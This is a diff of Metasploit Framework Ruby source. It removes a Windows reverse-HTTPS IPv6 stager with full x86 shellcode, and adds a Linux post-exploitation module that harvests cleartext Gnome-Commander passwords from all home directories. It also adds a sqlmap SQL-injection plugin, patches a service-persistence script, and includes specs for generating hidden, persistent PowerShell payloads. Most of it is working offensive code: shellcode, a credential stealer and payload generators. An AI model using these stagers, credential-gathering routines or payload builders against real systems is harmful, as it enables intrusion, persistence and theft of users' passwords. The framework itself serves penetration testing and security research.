# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
p = super
|
||||
i = p.index("/12345\x00")
|
||||
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00"
|
||||
p[i, u.length] = u
|
||||
|
||||
lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000"
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
lhost = "[#{lhost}]"
|
||||
end
|
||||
|
||||
p + lhost + "\x00"
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
|
||||
end
|
|
@ -1,96 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_ipv6_https'
|
||||
require 'msf/core/module/deprecated'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
DEPRECATION_DATE = Date.new(2014, 7, 30)
|
||||
DEPRECATION_REPLACEMENT = 'windows/meterpreter/reverse_https'
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTPS Stager (IPv6)',
|
||||
'Description' => 'Tunnel communication over HTTP using SSL and IPv6',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseIPv6Https,
|
||||
'Convention' => 'sockedi https',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
|
||||
# 'EXITFUNC' => [ 290, 'V' ],
|
||||
'LPORT' => [ 190, 'v' ], # Not a typo, really little endian
|
||||
},
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
|
||||
"\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
|
||||
"\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
|
||||
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" +
|
||||
"\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
|
||||
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A" +
|
||||
"\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57" +
|
||||
"\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74" +
|
||||
"\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35" +
|
||||
"\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68" +
|
||||
"\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89" +
|
||||
"\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5" +
|
||||
"\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x51" +
|
||||
"\xFF\xFF\xFF"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
p = super
|
||||
i = p.index("/12345\x00")
|
||||
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00"
|
||||
p[i, u.length] = u
|
||||
|
||||
lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000"
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
lhost = "[#{lhost}]"
|
||||
end
|
||||
|
||||
p + lhost + "\x00"
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
end
|
|
@ -0,0 +1,65 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather Gnome-Commander Creds',
|
||||
'Description' => %q{
|
||||
This module collects the clear text passwords stored by
|
||||
Gnome-commander, a GUI file explorer for GNOME. Typically, these
|
||||
passwords are stored in the user's home directory, at
|
||||
~/.gnome-commander/connections.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
|
||||
'Platform' => %w{ linux },
|
||||
'SessionTypes' => [ 'meterpreter', 'shell']
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
user_dirs = []
|
||||
# Search current user
|
||||
user = cmd_exec("whoami").chomp
|
||||
# User is root
|
||||
if user == 'root'
|
||||
print_status("Current user is #{user}, probing all home dirs")
|
||||
user_dirs << '/root'
|
||||
# Search home dirs
|
||||
cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }
|
||||
else
|
||||
# Non root user
|
||||
print_status("Current user is #{user}, probing /home/#{user}")
|
||||
user_dirs << "/home/#{user}"
|
||||
end
|
||||
# Try to find connections file in users homes
|
||||
user_dirs.each do |dir|
|
||||
# gnome-commander connections file
|
||||
connections_file = "#{dir}/.gnome-commander/connections"
|
||||
if file?(connections_file)
|
||||
#File exists
|
||||
begin
|
||||
str_file=read_file(connections_file)
|
||||
print_good("File found: #{connections_file}")
|
||||
vprint_line(str_file)
|
||||
#Store file
|
||||
p = store_loot("connections", "text/plain", session, str_file, connections_file, "Gnome-Commander connections")
|
||||
print_good ("Connections file saved to #{p}")
|
||||
rescue EOFError
|
||||
# If there's nothing in the file, we hit EOFError
|
||||
print_error("Nothing read from file: #{connections_file}, file may be empty")
|
||||
end
|
||||
else
|
||||
# File not found
|
||||
vprint_error("File not found: #{connections_file}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,291 @@
|
|||
require 'sqlmap/sqlmap_session'
|
||||
require 'sqlmap/sqlmap_manager'
|
||||
require 'json'
|
||||
|
||||
module Msf
|
||||
class Plugin::Sqlmap < Msf::Plugin
|
||||
class SqlmapCommandDispatcher
|
||||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
||||
def name
|
||||
'Sqlmap'
|
||||
end
|
||||
|
||||
def commands
|
||||
{
|
||||
'sqlmap_new_task' => 'It\'s a task!',
|
||||
'sqlmap_connect' => 'sqlmap_connect <host> [<port>]',
|
||||
'sqlmap_list_tasks' => 'List the knows tasks. Not stored in a DB, so lives as long as the console does',
|
||||
'sqlmap_get_option' => 'Get an option for a task',
|
||||
'sqlmap_set_option' => 'Set an option for a task',
|
||||
'sqlmap_start_task' => 'Start the task',
|
||||
'sqlmap_get_status' => 'Get the status of a task',
|
||||
'sqlmap_get_log' => 'Get the running log of a task',
|
||||
'sqlmap_get_data' => 'Get the resulting data of the task',
|
||||
'sqlmap_save_data' => 'Save the resulting data as web_vulns'
|
||||
}
|
||||
end
|
||||
|
||||
def cmd_sqlmap_connect(*args)
|
||||
if args.length == 0
|
||||
print_error('Need a host, and optionally a port')
|
||||
return
|
||||
end
|
||||
|
||||
host, port = args
|
||||
|
||||
if !port
|
||||
@manager = Sqlmap::Manager.new(Sqlmap::Session.new(host))
|
||||
else
|
||||
@manager = Sqlmap::Manager.new(Sqlmap::Session.new(host, port))
|
||||
end
|
||||
|
||||
print_good('Set connection settings for host ' + host + (port ? ' on port ' + port : ''))
|
||||
end
|
||||
|
||||
def cmd_sqlmap_set_option(*args)
|
||||
unless args.length == 3
|
||||
print_error('Usage:')
|
||||
print_error("\tsqlmap_set_option <taskid> <option_name> <option_value>")
|
||||
return
|
||||
end
|
||||
|
||||
unless @manager
|
||||
print_error('Please run sqlmap_connect <host> first.')
|
||||
return
|
||||
end
|
||||
|
||||
val = args[2] =~ /^\d+$/ ? args[2].to_i : args[2]
|
||||
|
||||
res = @manager.set_option(@hid_tasks[args[0]], args[1], val)
|
||||
print_status("Success: #{res['success']}")
|
||||
end
|
||||
|
||||
def cmd_sqlmap_start_task(*args)
|
||||
if args.length == 0
|
||||
print_error('Usage:')
|
||||
print_error("\tsqlmap_start_task <taskid> [<url>]")
|
||||
return
|
||||
end
|
||||
|
||||
options = {}
|
||||
options['url'] = args[1] if args.length == 2
|
||||
|
||||
if !options['url'] && @tasks[@hid_tasks[args[0]]]['url'] == ''
|
||||
print_error('You need to specify a URL either as an argument to sqlmap_start_task or sqlmap_set_option')
|
||||
return
|
||||
end
|
||||
|
||||
unless @manager
|
||||
print_error('Please run sqlmap_connect <host> first.')
|
||||
return
|
||||
end
|
||||
|
||||
res = @manager.start_task(@hid_tasks[args[0]], options)
|
||||
print_status("Started task: #{res['success']}")
|
||||
end
|
||||
|
||||
def cmd_sqlmap_get_log(*args)
|
||||
unless args.length == 1
|
||||
print_error('Usage:')
|
||||
print_error("\tsqlmap_get_log <taskid>")
|
||||
return
|
||||
end
|
||||
|
||||
unless @manager
|
||||
print_error('Please run sqlmap_connect <host> first.')
|
||||
return
|
||||
end
|
||||
|
||||
res = @manager.get_task_log(@hid_tasks[args[0]])
|
||||
|
||||
res['log'].each do |message|
|
||||
print_status("[#{message['time']}] #{message['level']}: #{message['message']}")
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_sqlmap_get_status(*args)
|
||||
unless args.length == 1
|
||||
print_error('Usage:')
|
||||
print_error("\tsqlmap_get_status <taskid>")
|
||||
return
|
||||
end
|
||||
|
||||
unless @manager
|
||||
print_error('Please run sqlmap_connect <host> first.')
|
||||
return
|
||||
end
|
||||
|
||||
res = @manager.get_task_status(@hid_tasks[args[0]])
|
||||
|
||||
print_status('Status: ' + res['status'])
|
||||
end
|
||||
|
||||
def cmd_sqlmap_get_data(*args)
|
||||
unless args.length == 1
|
||||
print_error('Usage:')
|
||||
print_error("\tsqlmap_get_data <taskid>")
|
||||
return
|
||||
end
|
||||
|
||||
@hid_tasks ||= {}
|
||||
@tasks ||= {}
|
||||
|
||||
unless @manager
|
||||
print_error('Please run sqlmap_connect <host> first.')
|
||||
return
|
||||
end
|
||||
|
||||
@tasks[@hid_tasks[args[0]]] = @manager.get_options(@hid_tasks[args[0]])['options']
|
||||
|
||||
print_line
|
||||
print_status('URL: ' + @tasks[@hid_tasks[args[0]]]['url'])
|
||||
|
||||
res = @manager.get_task_data(@hid_tasks[args[0]])
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' => ['Title', 'Payload'])
|
||||
|
||||
res['data'].each do |d|
|
||||
d['value'].each do |v|
|
||||
v['data'].each do |i|
|
||||
title = i[1]['title'].split('-')[0]
|
||||
payload = i[1]['payload']
|
||||
tbl << [title, payload]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line tbl.to_s
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_sqlmap_save_data(*args)
|
||||
unless args.length == 1
|
||||
print_error('Usage:')
|
||||
print_error("\tsqlmap_save_data <taskid>")
|
||||
return
|
||||
end
|
||||
|
||||
unless framework.db && framework.db.usable
|
||||
print_error('No database is connected or usable')
|
||||
return
|
||||
end
|
||||
|
||||
@hid_tasks ||= {}
|
||||
@tasks ||= {}
|
||||
|
||||
unless @manager
|
||||
print_error('Please run sqlmap_connect <host> first.')
|
||||
return
|
||||
end
|
||||
|
||||
@tasks[@hid_tasks[args[0]]] = @manager.get_options(@hid_tasks[args[0]])['options']
|
||||
|
||||
print_line
|
||||
print_status('URL: ' + @tasks[@hid_tasks[args[0]]]['url'])
|
||||
|
||||
res = @manager.get_task_data(@hid_tasks[args[0]])
|
||||
web_vuln_info = {}
|
||||
url = @tasks[@hid_tasks[args[0]]]['url']
|
||||
proto = url.split(':')[0]
|
||||
host = url.split('/')[2]
|
||||
port = 80
|
||||
host, port = host.split(':') if host.include?(':')
|
||||
path = '/' + (url.split('/')[3..(url.split('/').length - 1)].join('/'))
|
||||
query = url.split('?')[1]
|
||||
web_vuln_info[:web_site] = url
|
||||
web_vuln_info[:path] = path
|
||||
web_vuln_info[:query] = query
|
||||
web_vuln_info[:host] = host
|
||||
web_vuln_info[:port] = port
|
||||
web_vuln_info[:ssl] = (proto =~ /https/)
|
||||
web_vuln_info[:category] = 'imported from sqlmap'
|
||||
res['data'].each do |d|
|
||||
d['value'].each do |v|
|
||||
web_vuln_info[:pname] = v['parameter']
|
||||
web_vuln_info[:method] = v['place']
|
||||
web_vuln_info[:payload] = v['suffix']
|
||||
v['data'].values.each do |i|
|
||||
web_vuln_info[:name] = i['title']
|
||||
web_vuln_info[:description] = res.to_json
|
||||
web_vuln_info[:proof] = i['payload']
|
||||
framework.db.report_web_vuln(web_vuln_info)
|
||||
end
|
||||
end
|
||||
end
|
||||
print_good('Saved vulnerabilities to database.')
|
||||
end
|
||||
|
||||
def cmd_sqlmap_get_option(*args)
|
||||
@hid_tasks ||= {}
|
||||
@tasks ||= {}
|
||||
|
||||
unless args.length == 2
|
||||
print_error('Usage:')
|
||||
print_error("\tsqlmap_get_option <taskid> <option_name>")
|
||||
end
|
||||
|
||||
unless @manager
|
||||
print_error('Please run sqlmap_connect <host> first.')
|
||||
return
|
||||
end
|
||||
|
||||
arg = args.first
|
||||
task_options = @manager.get_options(@hid_tasks[arg])
|
||||
@tasks[@hid_tasks[arg]] = task_options['options']
|
||||
|
||||
if @tasks[@hid_tasks[arg]]
|
||||
print_good(args[1] + ': ' + @tasks[@hid_tasks[arg]][args[1]].to_s)
|
||||
else
|
||||
print_error("Option #{arg} doesn't exist")
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_sqlmap_new_task
|
||||
@hid_tasks ||= {}
|
||||
@tasks ||= {}
|
||||
|
||||
unless @manager
|
||||
print_error('Please run sqlmap_connect <host> first.')
|
||||
return
|
||||
end
|
||||
|
||||
taskid = @manager.new_task['taskid']
|
||||
@hid_tasks[(@hid_tasks.length + 1).to_s] = taskid
|
||||
task_options = @manager.get_options(taskid)
|
||||
@tasks[@hid_tasks[@hid_tasks.length]] = task_options['options']
|
||||
print_good("Created task: #{@hid_tasks.length}")
|
||||
end
|
||||
|
||||
def cmd_sqlmap_list_tasks
|
||||
@hid_tasks ||= {}
|
||||
@tasks ||= {}
|
||||
@hid_tasks.keys.each do |task|
|
||||
print_good("Task ID: #{task}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(framework, opts)
|
||||
super
|
||||
|
||||
add_console_dispatcher(SqlmapCommandDispatcher)
|
||||
|
||||
print_status('Sqlmap plugin loaded')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
remove_console_dispatcher('Sqlmap')
|
||||
end
|
||||
|
||||
def name
|
||||
'Sqlmap'
|
||||
end
|
||||
|
||||
def desc
|
||||
'Use Sqlmap, yo!'
|
||||
end
|
||||
end
|
||||
end
|
|
@ -2,13 +2,9 @@
|
|||
# Web assessment for the metasploit framework
|
||||
# Efrain Torres - et[ ] metasploit.com 2012
|
||||
#
|
||||
# $Id$
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
require 'rabal/tree'
|
||||
require 'msf/core/rpc/v10/client'
|
||||
#require 'fileutils'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -931,7 +927,7 @@ class Plugin::Wmap < Msf::Plugin
|
|||
end
|
||||
end
|
||||
|
||||
datastr = temparr.join("&") if (temparr and not temparr.empty?)
|
||||
datastr = temparr.join("&") if (temparr and not temparr.empty?)
|
||||
|
||||
if (utest_query.has_key?(signature(form.path,datastr)) == false)
|
||||
|
||||
|
@ -1070,7 +1066,7 @@ class Plugin::Wmap < Msf::Plugin
|
|||
end
|
||||
end
|
||||
|
||||
datastr = temparr.join("&") if (temparr and not temparr.empty?)
|
||||
datastr = temparr.join("&") if (temparr and not temparr.empty?)
|
||||
|
||||
modopts['METHOD'] = req.method.upcase
|
||||
modopts['PATH'] = req.path
|
||||
|
|
|
@ -78,8 +78,8 @@ handler.datastore['InitialAutoRunScript'] = "migrate -f"
|
|||
handler.datastore['ExitOnSession'] = false
|
||||
#start a handler to be ready
|
||||
handler.exploit_simple(
|
||||
'Payload' => handler.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
'Payload' => handler.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
|
||||
#attempt to make new service
|
||||
|
@ -132,7 +132,7 @@ service_list.each do |serv|
|
|||
moved = false
|
||||
configed = false
|
||||
#default path, but there should be an ImagePath registry key
|
||||
source = "#{sysdir}\\system32\\#{serv}.exe")
|
||||
source = "#{sysdir}\\system32\\#{serv}.exe"
|
||||
#get path to exe; parse out quotes and arguments
|
||||
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
|
||||
sourcemaybe = client.fs.file.expand_path(sourceorig)
|
||||
|
|
|
@ -0,0 +1,488 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
def decompress(code)
|
||||
Rex::Exploitation::Powershell::Script.new(code).decompress_code
|
||||
end
|
||||
|
||||
describe Msf::Exploit::Powershell do
|
||||
subject do
|
||||
mod = Msf::Exploit.allocate
|
||||
mod.extend described_class
|
||||
mod.send(:initialize, {})
|
||||
mod.datastore['Verbose'] = true
|
||||
mod
|
||||
end
|
||||
|
||||
let(:example_script) do
|
||||
File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
|
||||
end
|
||||
|
||||
let(:payload) do
|
||||
Rex::Text.rand_text_alpha(120)
|
||||
end
|
||||
|
||||
let(:arch) do
|
||||
'x86'
|
||||
end
|
||||
|
||||
describe "::encode_script" do
|
||||
it 'should read and encode a sample script file' do
|
||||
script = subject.encode_script(example_script)
|
||||
script.should be
|
||||
script.length.should be > 0
|
||||
end
|
||||
end
|
||||
|
||||
describe "::compress_script" do
|
||||
context 'when default datastore is set' do
|
||||
it 'should create a compressed script' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
compressed.length.should be < script.length
|
||||
compressed.include?('IO.Compression').should be_true
|
||||
end
|
||||
|
||||
it 'should create a compressed script with eof' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script, 'end_of_file')
|
||||
compressed.include?('end_of_file').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when strip_comments is true' do
|
||||
before do
|
||||
subject.datastore['Powershell::strip_comments'] = true
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should strip comments' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
compressed.length.should be < script.length
|
||||
end
|
||||
end
|
||||
context 'when strip_comment is false' do
|
||||
before do
|
||||
subject.datastore['Powershell::strip_comments'] = false
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'shouldnt strip comments' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
compressed.length.should be < script.length
|
||||
end
|
||||
end
|
||||
|
||||
context 'when strip_whitespace is true' do
|
||||
before do
|
||||
subject.datastore['Powershell::strip_whitespace'] = true
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should strip whitespace' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).length.should be < script.length
|
||||
end
|
||||
end
|
||||
|
||||
context 'when strip_whitespace is false' do
|
||||
before do
|
||||
subject.datastore['Powershell::strip_whitespace'] = false
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'shouldnt strip whitespace' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).length.should be script.length
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_vars is true' do
|
||||
before do
|
||||
subject.datastore['Powershell::sub_vars'] = true
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).include?('$hashes').should be_false
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_vars is false' do
|
||||
before do
|
||||
subject.datastore['Powershell::sub_vars'] = false
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'shouldnt substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).include?('$hashes').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_funcs is true' do
|
||||
before do
|
||||
subject.datastore['Powershell::sub_funcs'] = true
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should substitute functions' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).include?('DumpHashes').should be_false
|
||||
end
|
||||
end
|
||||
|
||||
context 'when sub_funcs is false' do
|
||||
before do
|
||||
subject.datastore['Powershell::sub_funcs'] = false
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'shouldnt substitute variables' do
|
||||
script = File.read(example_script)
|
||||
compressed = subject.compress_script(script)
|
||||
decompress(compressed).include?('DumpHashes').should be_true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "::run_hidden_psh" do
|
||||
|
||||
|
||||
let(:encoded) do
|
||||
false
|
||||
end
|
||||
|
||||
context 'when x86 payload' do
|
||||
it 'should generate code' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||
code.include?('syswow64').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when x64 payload' do
|
||||
it 'should generate code' do
|
||||
code = subject.run_hidden_psh(payload, 'x86_64', encoded)
|
||||
code.include?('sysnative').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when encoded' do
|
||||
it 'should generate a code including an encoded command' do
|
||||
code = subject.run_hidden_psh(payload, arch, true)
|
||||
code.include?('-nop -w hidden -e ').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when command' do
|
||||
it 'should generate code including a -c command' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||
code.include?('-nop -w hidden -c ').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when old' do
|
||||
before do
|
||||
subject.datastore['Powershell::method'] = 'old'
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should generate a code including unshorted args' do
|
||||
code = subject.run_hidden_psh(payload, arch, encoded)
|
||||
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "::cmd_psh_payload" do
|
||||
context 'when payload is huge' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch)
|
||||
rescue RuntimeError => e
|
||||
except = true
|
||||
end
|
||||
|
||||
except.should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when persist is true' do
|
||||
before do
|
||||
subject.datastore['Powershell::persist'] = true
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should add a persistance loop' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('while(1){Start-Sleep -s ').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when persist is false' do
|
||||
before do
|
||||
subject.datastore['Powershell::persist'] = false
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'shouldnt add a persistance loop' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('while(1){Start-Sleep -s ').should be_false
|
||||
end
|
||||
end
|
||||
|
||||
context 'when prepend_sleep is set' do
|
||||
before do
|
||||
subject.datastore['Powershell::prepend_sleep'] = 5
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('Start-Sleep -s ').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when prepend_sleep isnt set' do
|
||||
before do
|
||||
subject.datastore['Powershell::prepend_sleep'] = nil
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'shouldnt prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('Start-Sleep -s ').should be_false
|
||||
end
|
||||
end
|
||||
|
||||
context 'when prepend_sleep is 0' do
|
||||
before do
|
||||
subject.datastore['Powershell::prepend_sleep'] = 0
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'shouldnt prepend sleep' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('Start-Sleep -s ').should be_false
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is old' do
|
||||
before do
|
||||
subject.datastore['Powershell::method'] = 'old'
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('-namespace Win32Functions').should be_true
|
||||
end
|
||||
it 'shouldnt shorten args' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
code.include?('-NoProfile -WindowStyle hidden -Command').should be_true
|
||||
end
|
||||
it 'should include -NoExit' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is net' do
|
||||
before do
|
||||
subject.datastore['Powershell::method'] = 'net'
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('System.Runtime.InteropServices;').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is reflection' do
|
||||
before do
|
||||
subject.datastore['Powershell::method'] = 'reflection'
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should generate a command line' do
|
||||
code = subject.cmd_psh_payload(payload, arch)
|
||||
decompress(code).include?('GlobalAssemblyCache').should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is msil' do
|
||||
before do
|
||||
subject.datastore['Powershell::method'] = 'msil'
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
subject.cmd_psh_payload(payload, arch)
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'when method is unknown' do
|
||||
before do
|
||||
subject.datastore['Powershell::method'] = 'blah'
|
||||
end
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
subject.cmd_psh_payload(payload, arch)
|
||||
rescue RuntimeError
|
||||
except = true
|
||||
end
|
||||
except.should be_true
|
||||
end
|
||||
after do
|
||||
subject.datastore['Powershell::method'] = 'reflection'
|
||||
subject.options.validate(subject.datastore)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when encode_inner_payload' do
|
||||
it 'should contain an inner payload with -e' do
|
||||
code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true})
|
||||
code.include?(' -e ').should be_true
|
||||
end
|
||||
|
||||
context 'when no_equals is true' do
|
||||
it 'should raise an exception' do
|
||||
except = false
|
||||
begin
|
||||
code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true, :no_equals => true})
|
